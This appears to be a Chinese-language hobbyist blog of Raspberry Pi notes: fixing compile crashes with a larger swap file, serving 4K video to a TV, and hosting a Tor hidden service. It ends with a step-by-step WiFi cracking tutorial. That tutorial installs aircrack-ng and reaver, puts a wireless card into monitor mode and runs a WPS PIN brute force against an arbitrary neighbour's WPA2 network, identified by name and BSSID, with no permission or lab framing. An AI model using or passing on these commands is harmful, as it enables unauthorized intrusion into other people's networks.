解决树莓派编译死机

在编译像 chromium boost 之类的大型项目时,窝的树莓派会死机,强行重启一下就好了,原因是 swap 空间不足,才导致的死机。
raspbian 默认给的 swap 只有 128mb,编译时是不够的,窝给它设置成2g或更高(前提是你的磁盘空间得够)。
首先创建 swap 交换文件:

$ dd if=/dev/zero of=./swap bs=1024 count=2048000
$ mkswap ./swap

在你的 /etc/fstab 里面写一行:

/path/to/swap    /swap    swap    defaults 0 0 

保存后重启即可~

使用树莓派作为电视视频源的正确姿势

电视系统是 Android 6.0,使用 Kodi 作为视频播放器。
尝试了 SMB,发现效果不理想,播放 4k 视频会很卡,可以用 HTTP(nginx) 协议或者 FTP 作为文件服务器,这样的话速度就可以了。
另外,现在 Raspbian 最新版本已经是 Kernel 4.9,可以开启 tcp_bbr 来提升速度。

树莓派折腾笔记【6】搭建tor hidden service

搭建tor hidden service

为什么要搭建tor hidden server

最近逛了一圈暗网,感觉很无聊,想自己搭建一个暗网网站。

什么是tor hidden service

说白了就是暗网上的服务器,关键是tor hidden service不需要拥有外网IP即可搭建,只需一个能上网的电脑即可。

搭建tor hidden service

本人所用硬件:

树莓派3

蓝后树莓派的系统素Raspbian。
安装tor:

# apt-get install tor

安装完成后修改torrc,在/etc/tor/torrc里。

# vim /etc/tor/torrc

蓝后添加文本:

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80

意思就是把127.0.0.1的80端口映射到tor hidden service中,然后就可以让tor访问。
设置一下SOCKS5或者HTTPS代理。

SOCKS5Proxy 127.0.0.1:1080

蓝后保存文件,退出。

:wq

保存之后重启一下tor hidden service。

# service tor restart

看一下onion域名

# cat /var/lib/tor/hidden_service/hostname

树莓派折腾笔记【5】破解WiFi


设备要求:

  • 树莓派3或者2
  • 一个能联网得电脑或者手机
  • 3070网卡


笔者这里用的是树莓派3,当然,你也可以使用树莓派2。
首先更新一下源:

sudo apt-get update


笔者树莓派用的是raspbian系统,其他系统也大同小异。
然后捏,安装依赖库:

sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libnl1 libssl-dev build-essential iw tshark subversion


安装reaver:

sudo apt-get install reaver


再继续安装几个依赖库:

sudo apt-get install pkg-config
sudo apt-get install libnl-genl-3-dev
sudo apt-get install ethtool


然后捏,编译并安装Aircrack-ng:

svn co https://svn.aircrack-ng.org/trunk/
cd trunk
make
sudo make install


/* 树莓派编译速度比较慢,建议这样来编译:make -j4 */
大功告成,工具已经安装好了,然后下面来使用工具破解wifi。
接下来,插入3070网卡,输入命令查看是否识别成功:

sudo airmon-ng




这个wlan0是树莓派自带的wifi,wlan1就是我们买的无线网卡的编号。
下面输入命令来启动wlan1的模式。

sudo airmon-ng start wlan1


再说一遍,树莓派速度比较慢,一定要耐心等待一下,不要心急^C了。
现在网卡的名字已经改变成wlan1mon了。
现在开始扫描无线网络。

sudo airodump-ng -i wlan1mon


等待10~50秒,按下Ctrl+C键停止扫描。

现在开始破解wifi,随便找一个WPA2的AP(WIFI站点)。
比如说我们要破解一个名字叫做xmqlucky的wifi,然后就看一下他的BSSID是多少,是C8:E7:D8:31:1B:86,输入以下命令开始跑PIN码。

sudo reaver -i wlan1mon -b C8:E7:D8:31:1B:86 -vv



然后就开始跑pin了,运气好的话一天就可以破解,运气差的话就得几个月。
-vv参数意思就是显示纤细信息,可以去掉。

如果需要后台破解的话可以用screen命令来创建一个screen然后挂着破解即可。
还有一种方法就是通过wifite来24小时破解wifi